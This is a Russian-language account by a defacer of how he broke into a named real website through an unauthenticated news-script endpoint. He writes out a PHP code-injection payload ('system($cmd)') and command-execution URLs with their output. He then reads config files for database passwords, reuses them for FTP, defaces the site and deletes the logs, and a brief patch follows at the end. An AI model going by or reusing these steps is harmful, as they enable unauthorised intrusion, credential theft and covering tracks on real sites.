##########################################
#!/usr/share/doc/defaced/1/cases/poles.txt
##########################################
Как был взломан www.polestudio.ru [ by OverG ]
---------------------------------
Зеркало: http://taxidermia.void.ru/mirrors/2003/03/29/www.polestudio.ru/
Зашел я однажды на сайт e.polestudio.ru, полазил на нем, ничего интересного не
нашел. Но тут я заметил что-то знакомое в линке, указывающем на архив новостей.
Точно, это же скрипт под названием "Новости", который я недавно скачал, и в нем
есть одна довольно глупая уязвимость (да простят меня создатели скрипта :) ).
Админская панель состоит из 2 основных файлов (config.php содержит только
настройки) - index.php и script.php. index.php требует авторизацию, если это
можно назвать авторизацией :)
Скрипт сравнивает пароль, переданный в параметре pass с паролем в конфиге, если
пароли не совпали, то возвращает пустую страницу, если совпали - сам знаешь че :)
Пройдя её, мы вводим текст новости, который передаётся файлу script.php
параметром data. Самое главное - в файле script.php никакой авторизацией даже и
не пахнет :) Этот скрипт записывает данные, переданные в параметре data в файл,
названием которого является текущая дата. Я вот и решил открыть
http://e.polestudio.ru/mywindows/admin/script.php?data=Hello!
Надпись Hello! довольно мелко отразилась в середине страницы
/mywindows/index.php. Все! можно было довольно красиво отдефейсить. Но мне
хотелось большего :)
И тут мне пришла идея, а что если вписать вместо текста новости <? system($cmd)
?> , тогда, при удачном раскладе, можно будет выполнять любые команды.
Пробую - /mywindows/admin/script.php?data=<? system($cmd) ?>
Затем открываю /mywindows/index.php?cmd=id;uname -a;
Команда выполнилась и в середине страницы /mywindows/index.php я увидел:
uid=1296(pole) gid=65533 groups=65533
FreeBSD v6.valuehost.ru 4.4-STABLE FreeBSD 4.4-STABLE #2: Wed Jan 15 21:44:48
MSK 2003
Права на дефейс есть. Конечно можно было бы написать index.php?cmd=echo Здесь
был Вася > ../index.html но хотелось чтобы это было красиво.
Жаль, что ФриБСД.., командой wget не воспользуешься, картинку прямо так залить
не получится. Просмотр конфига новостей - /mywindows/admin/config.php мне ничего
не дал, там был пароль на админку, но новость я мог добавить и сам. Никаких
htpasswd'ов я не нашел, но полазив немного по дирам (ls ../) на этом сайте, я
нашел форум, глянул файл конфига
cat ../eforum/config.php;
Там оказался логин и пароль от MySQL. К мою счастью этот пароль совпал с паролем
от FTP. Осталось залить дефейс и удалить логи.
Патч.
Добавьте в файл index.php строку:
<input type=hidden name=pass value=<?=$pass?>> перед </form>
А в файл script.php добавьте после строки include("config.php");
if (!isset($pass)) exit;
$q=strcmp($pass,$password);